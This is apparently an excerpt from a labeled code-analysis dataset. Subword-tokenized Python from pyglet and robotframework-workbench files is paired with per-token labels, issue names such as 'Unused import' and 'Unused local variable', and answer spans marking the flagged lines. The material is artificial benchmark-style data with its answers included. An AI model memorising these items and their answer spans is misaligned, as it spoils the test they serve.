"(_", "unicode_", ",_", "data_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "valid_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", "_", "pos_", "=_", "sub_", "[_", "0_", "]_", "._", "pos_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", "_", "sub_", "=_", "[_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "value_", "=_", "''_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "debug_", ":_", "print_", "\"", "REP", "AR", "SE", "\"_", ",_", "data_", ",_", "repr_", "(_", "data_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "repar", "se", " ", "unl", "ess", " ", "it", "'", "s", " ", "a", " ", "Token", " ", "we", " ", "alr", "ead", "y", " ", "know", " ", "the", " ", "type", " ", "of_", "\\u\\u\\uNL\\u\\u\\u_", "value_", "=_", "unicode_", "(_", "data_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "issubclass_", "(_", "newc", "ls_", ",_", "Token_", ")_", "and_", "newc", "ls_", "is_", "not_", "Token_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "sub_", "=_", "[_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "pos_", "=_", "0_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "valid_", "=_", "True_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "valid_", "=_", "False_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "parse", " ", "if", " ", "necessar", "y_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "valid_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "print", " ", "\"", "No", " ", "repar", "sing", " ", "necessar", "y", " ", "for", " ", "a", " ", "result", "ing", " ", "value", " ", "%", "s", " ", "(%", "r", ")\"", " ", "%", " ", "(", "value", ",", " ", "value", ")_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "str", "value_", "=_", "unicode_", "(_", "value_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "elif_", "isinstance_", "(_", "value_", ",_", "basestring_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "debug_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "print_", "\"%", "s", ":", " ", "Wil", "l", " ", "need", " ", "to", " ", "repar", "se", " ", "value", " ", "%", "r", "\"_", "%_", "(_", "cls", "name_", ",_", "value_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "newc", "ls_", "._", "class", "parser", "build_", "(_", "debug_", "=_", "debug_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "debug_", ":_", "print_", "\"", "VALU", "E", "\"_", ",_", "value_", ",_", "type_", "(_", "value_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "result_", "=_", "newc", "ls_", "._", "class", "parse_", "(_", "value_", ",_", "debug_", "=_", "debug_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "debug_", ":_", "print_", "\"", "RESU", "LT", "\"_", ",_", "result_", ",_", "type_", "(_", "result_", ")_", ",_", "isinstance_", "(_", "result_", ",_", "newc", "ls_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "result_", "is_", "not_", "None_", "and_", "isinstance_", "(_", "result_", ",_", "newc", "ls_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "str", "value_", "=_", "unicode_", "(_", "result_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "valid_", "=_", "result_", "._", "\\u", "valid_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "sub_", "=_", "result_", "._", "\\u", "sub_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "pos_", "=_", "result_", "._", "\\u", "pos_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "debug_", ":_", "print_", "\"", "SUB", "\"_", ",_", "sub_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "str", "value_", "=_", "''_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "valid_", "=_", "False_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "raise_", "Type", "Error_", ",_", "\"", "invalid", " ", "argu", "ment", "(", "s", ")", " ", "%", "r", ",", " ", "cann", "ot", " ", "be", " ", "parsed", " ", "to", " ", "create", " ", "a", " ", "Pars", "ed", " ", "object", " ", "of", " ", "type", " ", "%", "s", "\"_", "%_", "(_", "value_", ",_", "cls", "name_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "valid_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "create", " ", "a", " ", "unicode", " ", "object", " ", "with", " ", "appropr", "iate", " ", "string", " ", "value_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "newo", "bj_", "=_", "super_", "(_", "Pars", "ed_", ",_", "cls_", ")_", "._", "\\u\\u", "new\\u\\u_", "(_", "newc", "ls_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "newo", "bj_", "._", "\\u", "name_", "=_", "str", "value_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", "if", " ", "debug", ":", " ", "print", " ", "\"", "NAME", "\",", " ", "newo", "bj", ",", " ", "type", "(", "newo", "bj", "),", " ", "sub", "#", ",", " ", "inspect", ".", "getm", "ro", "(", "newo", "bj", ")_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "set", " ", "instance", " ", "attributes_", "\\u\\u\\uNL\\u\\u\\u_", "newo", "bj_", "._", "\\u", "sub_", "=_", "tuple_", "(_", "sub_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "newo", "bj_", "._", "\\u", "valid_", "=_", "valid_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "override", " ", "for", " ", "pos_", "\\u\\u\\uNL\\u\\u\\u_", "pos_", "=_", "kwargs_", "._", "get_", "(_", "'", "pos", "'_", ",_", "pos_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "pos_", "is_", "not_", "None_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "pos_", "+=_", "kwargs_", "._", "get_", "(_", "'", "offset", "'_", ",_", "0_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "pos_", "is_", "None_", "or_", "(_", "isinstance_", "(_", "pos_", ",_", "int_", ")_", "and_", "pos_", ">=_", "0_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "newo", "bj_", "._", "\\u", "pos_", "=_", "pos_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "raise_", "Value", "Error_", ",_", "\"", "A", " ", "Pars", "ed", " ", "pos", " ", "can", " ", "only", " ", "be", " ", "Non", "e", " ", "or", " ", "an", " ", "unsigned", " ", "int", ",", " ", "%", "r", " ", "invalid", "\"_", "%_", "pos_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "return_", "newo", "bj_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Pars", "ed_", "(_", "Pro", "xy", "Uni", "_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "\\u\\u", "add\\u\\u_", "(_", "self_", ",_", "other_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", " ", "p1", ".\\u", "\\u", "add", "\\u\\u", "(", "p2", ")", " ", "<=", "=>", " ", "p1", "+", "p2", "\\", "10", ";", " ", " ", " ", " ", "if", " ", "p1", " ", "and", " ", "p2", " ", "are", " ", "of", " ", "the", " ", "same", " ", "Pars", "ed", " ", "type", ",", " ", "it", "'", "s", " ", "equivalent", " ", "to", " ", "repar", "sing", " ", "str", "(", "p1", ")", " ", "+", " ", "str", "(", "p2", ")", "\\", "10", ";", " ", " ", " ", " ", "if", " ", "p2", " ", "is", " ", "an", " ", "accept", "ed", " ", "sub", " ", "part", " ", "of", " ", "p1", ",", " ", "it", " ", "adds", " ", "it", " ", "to", " ", "the", " ", "sub", "-", "part", "s", "\\", "10", ";", " ", " ", " ", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "The", " ", "Pars", "ed", " ", "\\u", "accepts", " ", "defin", "es", " ", "validity_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "TOD", "O", " ", ":", " ", "use", " ", "yac", "c", " ", "own", " ", "rule", "s", " ", "to", " ", "check", " ", "valid", "it", "y", " ", "with", "out", " ", "a", " ", "full", " ", "repar", "se_", "\\u\\u\\uNL\\u\\u\\u_", "cls_", "=_", "self_", "._", "\\u\\u", "class\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self", "valid_", "=_", "self_", "._", "is", "Valid_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "sublist_", "=_", "list_", "(_", "self_", "._", "sub_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "value_", "=_", "unicode_", "(_", "self_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "check", " ", "other", "'", "s", " ", "type_", "\\u\\u\\uNL\\u\\u\\u_", "if_", "isinstance_", "(_", "other_", ",_", "cls_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "other", "valid_", "=_", "other_", "._", "is", "Valid_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "sublist_", "+=_", "other_", "._", "sub_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "elif_", "self_", "._", "accepts", "_", "(_", "other_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "other", "valid_", "=_", "other_", "._", "is", "Valid_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "sublist_", "._", "append_", "(_", "other_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "elif_", "isinstance_", "(_", "other_", ",_", "basestring_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "other", "valid_", "=_", "False_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "raise_", "Type", "Error_", ",_", "\"", "cann", "ot", " ", "add", " ", "%", "s", " ", "and", " ", "%", "s", "\"_", "%_", "(_", "type_", "(_", "self_", ")_", ",_", "type_", "(_", "other_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "self", "valid_", "and_", "other", "valid_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "no", " ", "repar", "se_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "result_", "=_", "cls_", "(_", "*_", "sublist_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "repar", "se_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "result_", "=_", "cls_", "(_", "unicode_", "(_", "self_", ")_", "+_", "unicode_", "(_", "other_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "return_", "result_", "\\u\\u\\uNEWLINE\\u\\u\\u_" ]
[ 4, 4, 4, 4, 4, 4, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 0, 1, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 4, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 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, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2 ]
Unused local variable
ardekantur/pyglet/experimental/wxtest.py
[ { "content": " def _OnPaint(self, event):\n if not self._window:\n self._window = self.GetHandle()\n\n # Can also get the GDK window... (not used yet)\n gdk_window = gdk.gdk_window_lookup(self._window)\n\n if self._glx_1_3:\n self._glx_window = glx.glXCreateWindow(self._x_display,\n self._config._fbconfig, self._window, None)\n self.switch_to()\n super(GTKWxCanvas, self)._OnPaint(event)", "metadata": "root.GTKWxCanvas._OnPaint", "header": "['class', 'GTKWxCanvas', '(', 'AbstractWxCanvas', ')', ':', '___EOS___']", "index": 127 }, { "content": " def __init__(self, parent, title):\n wx.Frame.__init__(self, parent, -1, title, size=(640, 480))\n canvas = TestCanvas(self)", "metadata": "root.TestFrame.__init__", "header": "['class', 'TestFrame', '(', 'wx', '.', 'Frame', ')', ':', '___EOS___']", "index": 180 } ]
[ { "span": "gdk_window ", "start_line": 132, "start_column": 12, "end_line": 132, "end_column": 22 }, { "span": "canvas ", "start_line": 182, "start_column": 8, "end_line": 182, "end_column": 14 } ]
[]
1
true
[ "[CLS]_", "Un", "used_", "local_", "variable_", "[SEP]_", "class_", "GTK", "Wx", "Canvas_", "(_", "Abstract", "Wx", "Canvas_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "\\u", "On", "Paint", "_", "(_", "self_", ",_", "event_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "not_", "self_", "._", "\\u", "window_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "\\u", "window_", "=_", "self_", "._", "Get", "Handle_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Can", " ", "als", "o", " ", "get", " ", "the", " ", "GD", "K", " ", "window", "...", " ", "(", "not", " ", "used", " ", "ye", "t", ")_", "\\u\\u\\uNL\\u\\u\\u_", "gd", "k", "\\u", "window_", "=_", "gdk_", "._", "gd", "k", "\\u", "window", "\\u", "lookup_", "(_", "self_", "._", "\\u", "window_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "if_", "self_", "._", "\\u", "gl", "x", "\\u", "1", "\\u", "3_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "\\u", "gl", "x", "\\u", "window_", "=_", "gl", "x_", "._", "gl", "XC", "reate", "Window_", "(_", "self_", "._", "\\u", "x", "\\u", "display_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "self_", "._", "\\u", "config_", "._", "\\u", "fb", "config_", ",_", "self_", "._", "\\u", "window_", ",_", "None_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "self_", "._", "switch", "\\u", "to_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "super_", "(_", "GTK", "Wx", "Canvas_", ",_", "self_", ")_", "._", "\\u", "On", "Paint", "_", "(_", "event_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Test", "Frame_", "(_", "wx_", "._", "Frame_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "def_", "\\u\\u", "init\\u\\u_", "(_", "self_", ",_", "parent_", ",_", "title_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "wx_", "._", "Frame_", "._", "\\u\\u", "init\\u\\u_", "(_", "self_", ",_", "parent_", ",_", "-_", "1_", ",_", "title_", ",_", "size_", "=_", "(_", "640_", ",_", "480_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "canvas_", "=_", "Test", "Canvas_", "(_", "self_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_" ]
[ 4, 4, 4, 4, 4, 4, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 0, 1, 1, 1, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 4, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 0, 2, 2, 2, 2, 2, 2, 2 ]
Unused import
boakley/robotframework-workbench/rwb/widgets/dte.py
[ { "content": "import Tkinter as tk\nfrom robot.parsing.txtreader import TxtReader\nimport ttk\nimport sys\nimport re\nfrom rwb.widgets import HighlightMixin\nimport logging\n#from core.transmogrifier import Transmogrifier\n\nimport tcl\n\n'''\nwidget = \".%s\" % self.text.winfo_name()\n# ugh! my head hurts! My eyes! The goggles do nothing! find all\n# instances of a pipe either at the beginning of a line or after\n# a space, and followed by a space or end of line. Thank goodness\n# robot requires spaces on either side of the pipe, that makes\n# parsing much easier. \ncmd = r'%s search -all -regexp {(^| )\\|( |$)} 1.0 {1.0 lineend}' % widget\nresult = self.tk.eval(cmd).split(\" \")\nprint \"result:\", result\nprint tk.__file__\n\n'''\n\n\n\n\n\nif __name__ == \"__main__\":\n import sys\n root = tk.Tk()\n dte = DynamicTableEditor(root, highlightthickness=0)\n vsb = tk.Scrollbar(root, orient=\"vertical\", command=dte.yview)\n hsb = tk.Scrollbar(root, orient=\"horizontal\", command=dte.xview)\n dte.configure(xscrollcommand=hsb.set, yscrollcommand=vsb.set)\n dte.grid(row=0, column=0, sticky=\"nsew\")\n vsb.grid(row=0, column=1, sticky=\"ns\")\n hsb.grid(row=1, column=0, sticky=\"ew\")\n root.grid_rowconfigure(0, weight=1)\n root.grid_columnconfigure(0, weight=1)\n\n root.mainloop()\n", "metadata": "root", "header": "['module', '___EOS___']", "index": 0 }, { "content": "class QuietIntVar(tk.IntVar):\n '''\n I'm getting \"can't unset \"::__countx__\": no such variable\n in the destructor of the variable for some reason. This wraps\n the destructor in a try block so they can be ignored.\n '''", "metadata": "root.QuietIntVar", "header": "['module', '___EOS___']", "index": 26 }, { "content": " def __del__(self):\n try:\n self._tk.globalunsetvar(self._name)\n except:\n print \"D'oh!\"\n pass", "metadata": "root.QuietIntVar.__del__", "header": "['class', 'QuietIntVar', '(', 'tk', '.', 'IntVar', ')', ':', '___EOS___']", "index": 32 }, { "content": "class DynamicTableEditor(tk.Text, HighlightMixin):\n '''A text widget with some magic for managing columns of data separated with pipes'''\n\n\n\n\n\n\n\n\n\n\n\n \n\n\n\n\n# pipe_splitter = re.compile(' \\|(?= )')\n# if text.endswith(' |'):\n# text = text[1:-1]\n# return [x.strip() for x in pipe_splitter.split(text)]\n\n\n\n\n\n\n \n\n \n\n\n\n\n\n\n\n\n\n\n \n\n\n\n\n\n\n\n \n", "metadata": "root.DynamicTableEditor", "header": "['module', '___EOS___']", "index": 40 }, { "content": " def __init__(self, *args, **kwargs):\n tk.Text.__init__(self, *args, **kwargs)\n font = self.cget(\"font\")\n self.log = logging.getLogger(\"dte\")\n\n self.tmpvar = QuietIntVar(master=self, name=\"::__countx__\")\n# self.tmpvar = tk.IntVar(master=self, name=\"::__countx__\")\n\n # add a special bind tag before the class binding so we can\n # preempt the default bindings when the completion window is\n # visible (eg: up and down arrows will affect the selection in\n # the dropdown list rather than the cursor position)\n bindtags = self.bindtags()\n new_bindtags = tuple([bindtags[0], \"Completion\"] + list(bindtags[1:]))\n self.bindtags(new_bindtags)\n self.bind_class(\"Completion\",\"<Control-space>\", self._on_autocomplete)\n self.bind_class(\"Completion\",\"<Escape>\", self._on_escape)\n self.bind_class(\"Completion\",\"<Key-Down>\", self._on_down)\n self.bind_class(\"Completion\",\"<Key-Up>\", self._on_up)\n self.bind_class(\"Completion\",\"<Any-Key-Return>\", self._on_return)\n self.bind_class(\"Completion\",\"<Tab>\", self._on_tab)\n self.bind_class(\"Completion\",\"<1>\", self._on_click)\n self.bind(\"<Control-w>\", self._on_select_block)\n\n # should these be in the caller? They are robot-specific\n # but my long term goal is for this widget to be somewhat\n # generic\n self.bind(\"<{>\", self._on_brace_open)\n self.bind(\"<|>\", self._on_pipe)\n self.bind(\"<Tab>\", self.on_tab)\n self.bind(\"<Triple-1>\", self._on_triple_click) \n self.bind(\"<Control-Return>\", self._on_control_enter)\n self.bind(\"<Control-\\\\>\", self._on_expand)\n self.bind(\"<<Paste>>\", self._on_paste)\n \n # other ideas:\n # double-1: if inside a variable, select only the word not the\n # whole cell\n # return or tab: if in table name (ie, inbetween *** and ***), move\n # to the next line\n\n self.tag_configure(\"current_line\", background=\"#f2f2f2\")\n self.tag_raise(\"sel\", \"current_line\")\n\n # since we automatically add a space after an inserted pipe,\n # we want to ignore a space that immediately follows since\n # it's easy to think \"I need a pipe and a space\". Without this\n # you would end up with two spaces, negating any gain from\n # automatically adding one\n self.bind(\"<|><space>\", lambda event: \"break\")\n\n # this stuff is related to auto-complete\n self.complete_frame = ttk.Frame(self)\n self.list = tk.Listbox(self.complete_frame, width=30, height=8, \n borderwidth=1, relief=\"solid\", exportselection=False)\n self.list.pack(side=\"top\", fill=\"both\", expand=True)\n self.hooks = []\n\n post_change_hook = self.register(self._post_change_hook)\n widget = str(self)\n self.tk.eval(tcl.CREATE_WIDGET_PROXY)\n self.tk.eval('''\n rename {widget} _{widget}\n interp alias {{}} ::{widget} {{}} widget_proxy _{widget} {post_change_hook}\n '''.format(widget=widget, post_change_hook=post_change_hook))\n self._last_current_cell_start = \"\"", "metadata": "root.DynamicTableEditor.__init__", "header": "['class', 'DynamicTableEditor', '(', 'tk', '.', 'Text', ',', 'HighlightMixin', ')', ':', '___EOS___']", "index": 42 }, { "content": " @property\n def current_row_number(self):\n return self.index(\"insert\").split(\".\")[0]", "metadata": "root.DynamicTableEditor.current_row_number", "header": "['class', 'DynamicTableEditor', '(', 'tk', '.', 'Text', ',', 'HighlightMixin', ')', ':', '___EOS___']", "index": 109 }, { "content": " def find_start_of_statement(self, index=\"insert\"):\n '''This can be overridden by a subclass to do something more interesting\n\n For example, when building an editor for a robotframework test\n case, it could look up for the first line that is not a\n continuation line\n '''\n return self.index(\"%s linestart\" % index)", "metadata": "root.DynamicTableEditor.find_start_of_statement", "header": "['class', 'DynamicTableEditor', '(', 'tk', '.', 'Text', ',', 'HighlightMixin', ')', ':', '___EOS___']", "index": 113 }, { "content": " def find_end_of_statement(self, index=\"insert\", mark=\"w00t\"):\n '''This can be overridden by a subclass to do something more interesting\n\n For example, when building an editor for a robotframework test\n case, it could look down for additional continuation lines.\n '''\n return self.index(\"%s lineend\" % index)", "metadata": "root.DynamicTableEditor.find_end_of_statement", "header": "['class', 'DynamicTableEditor', '(', 'tk', '.', 'Text', ',', 'HighlightMixin', ')', ':', '___EOS___']", "index": 122 }, { "content": " def get_row_number(self, index):\n '''Return the row number for a given index'''\n linenum = int(self.index(index).split(\".\")[0])\n return linenum", "metadata": "root.DynamicTableEditor.get_row_number", "header": "['class', 'DynamicTableEditor', '(', 'tk', '.', 'Text', ',', 'HighlightMixin', ')', ':', '___EOS___']", "index": 130 }, { "content": " def set_completion_choices(self, choices):\n self.list.delete(0, \"end\")\n for string in choices:\n self.list.insert(\"end\", string)\n self.list.selection_set(0)\n self._reposition_choices()\n self.list.configure(height=min(len(choices), 10))", "metadata": "root.DynamicTableEditor.set_completion_choices", "header": "['class', 'DynamicTableEditor', '(', 'tk', '.', 'Text', ',', 'HighlightMixin', ')', ':', '___EOS___']", "index": 135 }, { "content": " def get_autocomplete_string(self):\n try:\n return self.get(\"current_cell.first\", \"current_cell.last\")\n except:\n return \"WTF?\"", "metadata": "root.DynamicTableEditor.get_autocomplete_string", "header": "['class', 'DynamicTableEditor', '(', 'tk', '.', 'Text', ',', 'HighlightMixin', ')', ':', '___EOS___']", "index": 143 }, { "content": " def get_selected_rows(self):\n '''Return all of the data for all lines that contain the selection\n\n The data is returned as a list of lists\n '''\n try:\n first_linenum = int(self.index(\"sel.first\").split(\".\")[0])\n last_linenum = int(self.index(\"sel.last\").split(\".\")[0])\n result = 